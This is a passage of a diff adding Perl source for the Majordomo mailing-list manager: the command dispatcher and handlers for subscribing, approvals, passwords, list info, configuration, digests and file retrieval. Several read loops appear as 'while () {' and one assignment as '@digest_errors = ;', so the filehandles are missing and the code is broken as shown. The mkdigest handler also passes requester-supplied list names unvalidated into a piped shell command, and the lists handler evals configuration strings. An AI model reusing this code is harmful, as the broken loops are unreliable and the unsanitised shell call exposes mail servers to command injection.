Majordomo commands. + # they are all passed the same arguments: @parts. + $count++; # assume it's a valid command, so count it. + if ($cmd eq "end") { print REPLY "END OF COMMANDS\n"; last; } + elsif ($cmd =~ /^-/ && + (!defined($hdrs{'content-type'}) || + $hdrs{'content-type'} !~ /multipart/i)) + { + # treat lines beginning with "-" as END only if this is NOT a MIME + # multipart msg. MIME messages should have "Content-Type:" + # headers, and multipart messages should have the string + # "multipart" somewhere in that header. If we just look for + # Content-Type: we trap messages with Content-Type: text/plain, + # which is pretty common these days. + print REPLY "END OF COMMANDS\n"; + last; + } + elsif ($cmd eq "subscribe") { &do_subscribe(@parts); } + elsif ($cmd eq "unsubscribe") { &do_unsubscribe(@parts); } + elsif ($cmd eq "signoff") { &do_unsubscribe(@parts); } + elsif ($cmd eq "cancel") { &do_unsubscribe(@parts); } + elsif ($cmd eq "approve") { &do_approve(@parts); } + elsif ($cmd eq "passwd") { &do_passwd(@parts); } + elsif ($cmd eq "which") { &do_which(@parts); } + elsif ($cmd eq "who") { &do_who(@parts); } + elsif ($cmd eq "info") { &do_info(@parts); } + elsif ($cmd eq "newinfo") { &do_newinfo(@parts); } + elsif ($cmd eq "intro") { &do_intro(@parts); } + elsif ($cmd eq "newintro") { &do_newintro(@parts); } + elsif ($cmd eq "config") { &do_config(@parts); } + elsif ($cmd eq "newconfig") { &do_newconfig(@parts); } + elsif ($cmd eq "writeconfig") { &do_writeconfig(@parts); } + elsif ($cmd eq "mkdigest") { &do_mkdigest(@parts); } + elsif ($cmd eq "lists") { &do_lists(@parts); } + elsif ($cmd eq "help") { &do_help(@parts); } + elsif ($cmd eq "get") { &do_get(@parts); } + elsif ($cmd eq "index") { &do_index(@parts); } + elsif ($cmd eq "auth") { &do_auth(@parts); } + else { + &squawk("Command '$cmd' not recognized."); + $count--; # if we get to here, it wasn't really a command + } +} + +# we've processed all the commands; let's clean up and go home +&done(); + +# Everything from here on down is subroutine definitions + +sub do_subscribe { + # figure out what list we are trying to subscribe to + # and check to see if the list is valid + local($sm) = "subscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to subscribe, and check that it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber, $clean_list)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + local($FLAGIT); + if ($clean_list ne "") { + # The list is valid + # parse its config file if needed + + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($sub_policy) = $config_opts{$clean_list,"subscribe_policy"}; + + # check to see if this is a list with a 'confirm' subscribe policy, + # and check the cookie if so. + # + if (! $approved + && (($sub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("subscribe", $clean_list, $subscriber); + return 0; + } + + + # Check to see if this request is approved, or if the list is an + # auto-approve list, or if the list is an open list and the + # subscriber is the person making the request + if ($approved + || ($sub_policy =~ /auto/i && + # I don't think this check is doing the right thing. Chan 95/10/19 + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + || (($sub_policy !~ /closed/ ) + && &addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) + ) { + # Either the request is approved, or the list is open and the + # subscriber is the requester, so check to see if they're + # already on the list, and if not, add them to the list. + # Lock and open the list first, even though &is_list_member() + # will reopen it read-only, to prevent a race condition + &lopen(LIST, ">>", "$listdir/$clean_list") + || &abort("Can't append to $listdir/$clean_list: $!"); + if (&is_list_member($subscriber, $listdir, $clean_list)) { + print REPLY "**** Address already subscribed to $clean_list\n"; + &log("DUPLICATE subscribe $clean_list $subscriber"); + } else { + if ( &cf_ck_bool($clean_list,"strip") ) { + print LIST &valid_addr($subscriber), "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } else { + print LIST $subscriber, "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } + if (defined $deflist) { + print REPLY "Succeeded (to list $deflist).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("subscribe $clean_list $subscriber"); + # Send the new subscriber a welcoming message, and + # a notice of the new subscriber to the list owner + if ( &cf_ck_bool($clean_list,"strip") ) { + local($clean_sub) = &valid_addr($subscriber); + &welcome($clean_list, $clean_sub); + } else { + &welcome($clean_list, $subscriber); + } + } + &lclose(LIST) || &abort("Error closing $listdir/$clean_list: $!"); + } else { + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_unsubscribe_all { + local(@parts) = @_; + local($list); + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = grep(!/[^-\w]/, readdir(RD_DIR)); # skip non-list files (*.info, etc.) + closedir(RD_DIR); + + $quietnonmember=1; + + foreach $list (sort @lists) { + print REPLY "Doing 'unsubscribe $list ", join(' ', @parts), "'.\n" + if $DEBUG; + &do_unsubscribe($list, @parts); + } +} + +sub do_unsubscribe { + if ($_[0] =~ /^\*$/) { + shift; + &do_unsubscribe_all(@_); + return 0; + } + local($match_count) = 0; + local($match_length); + # figure out what list we are trying to unsubscribe from + # and check to see if the list is valid + local($sm) = "unsubscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to unsubscribe, and check it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + print STDERR "do_unsubscribe: $subscriber from $clean_list\n" if $DEBUG; + + + if ($clean_list ne "") { + # The list is valid. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($unsub_policy) = $config_opts{$clean_list,"unsubscribe_policy"}; + + # Check to see if the subscriber really is subscribed to the list. + if (! &is_list_member($subscriber, $listdir, $clean_list)) { + unless ($quietnonmember) { + print REPLY <<"EOM"; +**** unsubscribe: '$subscriber' is not a member of list '$list'. +**** contact "$list-approval\@$whereami" if you need help. +EOM + } + return 0; + } + + print STDERR "do_unsubscribe: valid list, valid subscriber.\n" + if $DEBUG; + + # check to see if this is a list with a 'confirm' unsubscribe policy, + # and check the cookie if so and the subscriber is not the person + # making the request. + # + if (! $approved + && ! ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") + ? 2 : undef)))) + && (($unsub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("unsubscribe", $clean_list, $subscriber); + return 0; + } + + # Check to see if this request is approved, if the unsub policy is + # auto, or if the subscriber is the person making the request (even + # on a closed list, folks can unsubscribe themselves without the + # owner's approval). + if ($approved + || ($unsub_policy =~ /auto/i && + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + + || ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))))) { + + # Either the request is approved, or the subscriber is the + # requester, so drop them from the list + &lopen(LIST, "", "$listdir/$clean_list") || + &abort("Can't open $listdir/$clean_list: $!"); + (local($mode, $uid, $gid) = (stat(LIST))[2,4,5]) || + &abort("Can't stat listdir/$clean_list: $!"); + open(NEW, ">$listdir/$clean_list.new") || + &abort("Can't open $listdir/$clean_list.new: $!"); + chmod($mode, "$listdir/$clean_list.new") || + &abort("chmod($mode, \"$listdir/$clean_list.new\"): $!"); + chown($uid, $gid, "$listdir/$clean_list.new") || + &abort("chown($uid, $gid, \"$listdir/$clean_list.new\"): $!"); + while () { + if (! &addr_match($subscriber, $_, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + print NEW $_ || + &abort("Error writing $listdir/$clean_list.new: $!"); + } else { + $match_count++; + $match_length = length; + if ($match_count != 1) { + &squawk("$sm: '$subscriber' matches multiple list members."); + last; + } + } + } + close(NEW) || &abort("Error closing $listdir/$clean_list.new: $!"); + if ($match_count == 1) { + if ((-s "$listdir/$clean_list.new") + $match_length != + (-s "$listdir/$clean_list")) { + &abort("Unsubscribe failed: $listdir/$clean_list.new is wrong length!"); + } + # we deleted exactly 1 name, so now we shuffle the files + link("$listdir/$clean_list", "$listdir/$clean_list.old") || + &abort("link(\"$listdir/$clean_list\", \"$listdir/$clean_list.old\"): $!"); + rename("$listdir/$clean_list.new", "$listdir/$clean_list") || + &abort("rename(\"$listdir/$clean_list.new\", \"$listdir/$clean_list\"): $!"); + unlink("$listdir/$clean_list.old"); + if (defined $deflist) { + print REPLY "Succeeded (from list $deflist).\n"; + } + elsif ($quietnonmember) { + print REPLY "Succeeded (from list $clean_list).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("unsubscribe $clean_list $subscriber"); + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(BYE, "$clean_list-approval\@$whereami", + "UNSUBSCRIBE $clean_list $subscriber"); + print BYE "$subscriber has unsubscribed from $clean_list.\n"; + print BYE "No action is required on your part.\n"; + close(BYE); + } + } + elsif ($match_count == 0) { + print REPLY "**** No matches found for '$subscriber'\n"; + } + else { + print REPLY "**** FAILED.\n"; + } + unlink("$listdir/$clean_list.new"); + &lclose(LIST); + } else { + print STDERR "do_unsubscribe: authorization failed, calling check_and_request.\n" if $DEBUG; + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_auth { + # Check to see we've got all the arguments; the address is allowed to + # contain spaces, so since our argument list was split on spaces we + # have to join them back together. + local($auth_info, $cmd, $list, @sub) = @_; + if ( !length($auth_info) + || ($cmd ne 'subscribe' + && $cmd ne 'unsubscribe') # can only authorize [un]subscribes at the moment + ) { + &squawk("auth: needs key"); + return 0; + } + $sub = join(' ',@sub); + if ( $cmd eq "subscribe" ) { + &do_subscribe($list, $sub); + } + elsif ( $cmd eq "unsubscribe" ) { + &do_unsubscribe($list, $sub); + } + + +} + +sub do_approve { + # Check to see we've got all the arguments + local($sm) = "approve"; + local($passwd, $cmd); + ($passwd = shift) || &squawk("$sm: needs passwd"); + ($cmd = shift) || &squawk("$sm: which command?"); + $cmd =~ tr/A-Z/a-z/; # downcase the command + # Check to see if the list is valid or use default list. + # and check to see if we've got a valid list + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + if ($clean_list ne "") { + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + # The list is valid; now check to see if the password is + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so set "approved" and do the request + $approved = 1; + if ($cmd eq "subscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD subscribe $clean_list $subscriber"); + &do_subscribe($clean_list, $subscriber); + } elsif ($cmd eq "unsubscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD unsubscribe $clean_list $subscriber"); + &do_unsubscribe($clean_list, $subscriber); + } elsif ($cmd eq "get" + || $cmd eq "index" + || $cmd eq "info" + || $cmd eq "intro" + || $cmd eq "who" + || $cmd eq "which") { + &log("approve PASSWORD $cmd $clean_list " . join(" ", @args)); + $sub = "do_$cmd"; + &$sub($clean_list, @args); + } else { + # you can only approve the above + &squawk("$sm: invalid command '$cmd'"); + } + } else { + &squawk("$sm: invalid list or password."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_passwd { + # check to see that we've got all the arguments + # and check to see if we've got a valid list + local($sm) = "passwd"; + local($list, $clean_list, $passwd, $new_passwd) = &get_listname($sm, 2, @_); + &squawk("$sm: need old password") unless $passwd; + &squawk("$sm: need new password") unless $new_passwd; + + if ($clean_list eq "") { + &squawk("$sm: invalid list '$list'"); + return; + } + # We've got a valid list; now see if the old password is valid + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The old password is correct, so make sure the new one isn't null + if ($new_passwd eq "") { + &squawk("$sm: null 'new_passwd'."); + return; + } + # The new password is valid, too, so write it. + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.passwd"))[2,4,5]; + $mode = (0660) if !$mode; + if (&lopen(PASSWD, ">", "$listdir/$clean_list.passwd")) { + print PASSWD $new_passwd, "\n"; + &lclose(PASSWD); + # set the file mode appropriately + chmod($mode, "$listdir/$clean_list.passwd"); + chown($uid, $gid, "$listdir/$clean_list.passwd") if defined($uid); + print REPLY "Password changed.\n"; + } else { + &abort("Can't open $listdir/$clean_list.passwd: $!"); + } + &log("passwd $clean_list OLD NEW"); + } else { + print REPLY "**** Sorry; old password incorrect.\n"; + &log("FAILED passwd $clean_list OLD NEW"); + } +} + +sub do_which { + local($subscriber) = join(" ", @_) || &valid_addr($reply_to); + local($count, $per_list_hits) = 0; + # Tell the requestor which lists they are on by reading through all + # the lists, comparing their address to each address from each list + print REPLY "The string '$subscriber' appears in the following\n"; + print REPLY "entries in lists served by $whoami:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + $list = $_; + + # get configuration info + &get_config($listdir, $_) if !&cf_ck_bool($_, '', 1); + + # access check + # + next if ! &access_check("which", $reply_to, $listdir, $list); + + open(LIST, "$listdir/$list") || + &abort("Can't open list $listdir/$list"); + while () { + + if (! $approved + && $max_which_hits + && $max_which_hits < $per_list_hits) { + print REPLY "Maximum number of hits ($max_which_hits) exceeded\n"; + last; + } + + $_ = &chop_nl($_); + if (&addr_match($_, $subscriber, 1)) { + if ($count == 0) { + printf REPLY "%-23s %s\n", "List", "Address"; + printf REPLY "%-23s %s\n", "====", "======="; + } + printf REPLY "%-23s %s\n", $list, $_; + $count++; + $per_list_hits++; + } + } + close(LIST); + } + if ($count == 0) { + print REPLY "**** No matches found\n"; + } + print REPLY "\n"; + &log("which $subscriber"); + return 1; +} + +sub do_who { + # Make sure we've got the right arguments + # and check to see if we've got a valid list + local($sm) = "who"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + local($counter) = 0; + + # Check to see that the list is valid + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'who_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("who", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'who'.\n"; + print REPLY "**** You [ $reply_to ] aren't a member of list '$clean_list'.\n"; + return 0; + } + #open it up and tell who's on it + print REPLY "Members of list '$clean_list':\n\n"; + if (&lopen(LIST, "", "$listdir/$clean_list")) { + while () { + print REPLY $_; + $counter++; + } + &lclose(LIST); + printf REPLY "\n%s subscriber%s\n\n", ($counter ? $counter : "No"), + ($counter == 1 ? "" : "s"); + &log("who $clean_list"); + } else { + &abort("Can't open $listdir/$clean_list: $!"); + } + } else { + print REPLY "**** who: no such list '$list'\n"; + } +} + +sub do_info { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "info"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the info, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($allow); + + # check access + $allow = &access_check("info", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.info")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_info"); + &lclose(INFO); + } else { + print REPLY "#### No info available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("info $clean_list"); +} + +sub do_newinfo { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newinfo"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new info + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.info"))[2,4,5]; + $mode = (0664) if !$mode; + if (&lopen(INFO, ">", "$listdir/$clean_list.info")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_info"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.info" > 0) { + chmod($mode, "$listdir/$clean_list.info"); + chown($uid, $gid, "$listdir/$clean_list.info") + if defined($uid); + } + else { + unlink("$listdir/$clean_list.info"); + } + + print REPLY "New info for list $clean_list accepted.\n"; + &log("newinfo $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.info: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newinfo $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_intro { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "intro"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the intro, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + local($allow) = 0; + + # check access + $allow = &access_check("intro", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.intro")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_intro"); + &lclose(INFO); + } else { + print REPLY "#### No intro available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("intro $clean_list"); +} +sub do_newintro { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newintro"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new intro + if (&lopen(INFO, ">", "$listdir/$clean_list.intro")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_intro"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.intro" > 0) { + chmod(0664, "$listdir/$clean_list.intro"); + } + else { + unlink("$listdir/$clean_list.intro"); + } + print REPLY "New intro for list $clean_list accepted.\n"; + &log("newintro $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.intro: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newintro $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} +sub do_config { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "config"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so send the new config if it exists + + if (open(LCONFIG, "$listdir/$clean_list.config")) { + while () { + print REPLY $_; + } + print REPLY "\n#[Last updated ", + &chop_nl(&ctime((stat(LCONFIG))[9])), "]\n"; + close(LCONFIG) || + print REPLY "Error writing config for $clean_list: $!"; + + } else { + print REPLY "#### No config available for $clean_list.\n"; + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED config $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("config $clean_list"); +} + +sub do_newconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new config + # off to the side to validate it. + local($oldumask) = umask($config_umask); + if (open(NCONFIG, ">$listdir/$clean_list.new.config")) { + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print NCONFIG $_, "\n"; + } + close(NCONFIG) || + &abort("Can't write $listdir/$clean_list.config: $!"); + umask($oldumask); + + if ( &get_config($listdir, "$clean_list.new", "locked")) { + unlink "$listdir/$clean_list.new.config"; + &free_lock("$listdir/$clean_list.config.LOCK"); + print REPLY "The new config file for $clean_list was NOT accepted because:\n"; + print REPLY @config'errors; + &log("FAILED (syntax) newconfig $clean_list PASSWORD"); + return (1); + } + + $rename_fail = 0; + if ( !rename("$listdir/$clean_list.config", + "$listdir/$clean_list.old.config") ) { + print REPLY "rename current -> old failed $!"; + $rename_fail = 1; + } + elsif ( !rename("$listdir/$clean_list.new.config", + "$listdir/$clean_list.config")) { + print REPLY "rename new -> current failed $!"; + $rename_fail = 1; + } + + print REPLY "New config for list $clean_list accepted.\n" + if !$rename_fail; + + &log("newconfig $clean_list PASSWORD"); + &get_config($listdir, $clean_list, "locked"); + } else { + &abort("Can't write $listdir/$clean_list.config: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newconfig $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + &free_lock("$listdir/$clean_list.config.LOCK"); + + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_writeconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "writeconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write current config + &config'writeconfig($listdir, $clean_list); + print REPLY "wrote new config for list $clean_list.\n"; + &log("writeconfig $clean_list PASSWORD"); + } else { + &squawk("$sm: invalid password."); + &log("FAILED writeconfig $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_mkdigest { + # Check to make sure we've got the right arguments + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + # We allow the specification of the outgoing alias for the digest so + # that list owners can change it to be something secret, but we have to + # remain backwards compatible, so we allow 2 or 3 args. + local($list_outgoing); + if ($#args == 1) { # Called with 2 or 3 args, one already shifted off + $list_outgoing = shift @args; + } + else { + $list_outgoing = "$list-outgoing"; + } + local($passwd); + ($passwd = shift @args) || &squawk("$sm: needs password"); + local(@digest_errors) = (); + # Check that the list is valid + local($clean_list) = &valid_list($listdir, $list); + if ($clean_list ne "") { + # The list is valid, parse the config file + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so run digest + + open(DIGEST, + "$homedir/digest -m -C -l $list $list_outgoing 2>&1 |"); + @digest_errors = ; + close(DIGEST); + + if ( $? == 256 ) { + print REPLY "*** mkdigest: Failure on exec of digest $!\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: exec error"); + } else { + if ($? != 0 ) { # hey the exec worked + print REPLY "*** digest: failed errors follow\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: errors during digest"); + } else { + print REPLY @digest_errors; + &log("mkdigest $clean_list"); + } + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED mkdigest $clean_list PASSWORD"); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_lists { + # Tell the requester what lists we serve + local($list); + local($reply_addr) = &ParseAddrs($reply_to); + + select((select(REPLY), $| = 1)[0]); + + print REPLY "$whoami serves the following lists:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + $list = $_; + $list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + next if /^(RCS|CVS|core)$/; # files and directories to ignore + next if (-d "$listdir/$list"); # skip directories + + &get_config($listdir, $list) if !&cf_ck_bool($list, '', 1); + + if ( ($'config_opts{$list, 'advertise'} ne '') + || ($'config_opts{$list, 'noadvertise'} ne '') ) { + + local(@array, $i); + local($result) = 0; + local($_) = $reply_addr; + + if ($'config_opts{$list, 'advertise'} ne '') { + @array = split(/\001/,$'config_opts{$list, 'advertise'}); + foreach $i (@array) { + $result = 1, last if (eval $i); # Expects $_ = $reply_addr + } + } else { $result = 1; } + + @array = (); + if ($result) { + @array = split(/\001/,$'config_opts{$list, 'noadvertise'}); + + foreach $i (@array) { + $result = 0, last if (eval $i); # Expects $_ = $reply_addr + } + } + + + $result = &is_list_member($reply_to, $listdir, $list) + if ! $result; + + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'} if $result; + } else { + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'}; + } + + } + print REPLY "\nUse the 'info ' command to get more information\n"; + print REPLY "about a specific list.\n"; + &log("lists"); +} + +# Subroutines do_get and do_index handle files for the requestor. +# Majordomo will look for the files in directory "$filedir/$list$filedir_suffix" +# You need to specify a directory in majordomo.cf such as: +# $filedir = "/usr/local/mail/files"; +# $filedir_suffix = ""; +# to have it check directory "/usr/local/mail/files/$list" or +# $filedir = "$listdir"; +# $filedir_suffix = ".archive"; +# to have it check directory "$listdir/$list.archive". +# +# If you want majordomo to do the basic file handling, don't +# set the ftpmail options. Set the index command using: +# $index_command = "/bin/ls -lRL"; +# +# If you want FTPMail to do the file handling, also put in: +# $ftpmail_location = "$whereami" +# $ftpmail_address = "ftpmail@$whereami"; +# or +# $ftpmail_address = "ftpmail@decwrl.dec.com"; +# as appropriate. +# +# Note that "$ftpmail_location" might NOT be the same as "$whereami"; +# for instance, at GreatCircle.COM, "$whereami" is "GreatCircle.COM" (which +# is an MX record) but "$ftpmail_location" needs to be "FTP.GreatCircle.COM" +# (which is an alias for actual machine) + +sub do_get { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "get"; + local($list, $clean_list, $filename) = &get_listname($sm, 1, @_); + &squawk("$sm: which file?") unless $filename; + + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'get_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("get", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'get'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK, so check the file name + local($clean_file) = &valid_filename($filedir, $clean_list, + $filedir_suffix, $filename); + if (defined($clean_file)) { + # the file name was OK and exists + # see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + if ($ftpmail_location eq "") {$ftpmail_location = $whereami; }; + &sendmail(FTPMAILMSG, $ftpmail_address, "get $filename", + $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "get $filename\n"; + close (FTPMAILMSG); + print REPLY "'get' request forwarded to $ftpmail_address\n"; + } else { + # file handling is done locally. + if (&lopen(GETFILE, " ", "$clean_file")) { + # Set up the sendmail process to send the file + &sendmail(GETFILEMSG, $reply_to, + "Majordomo file: list '$clean_list' file '$filename'"); + while () { + print 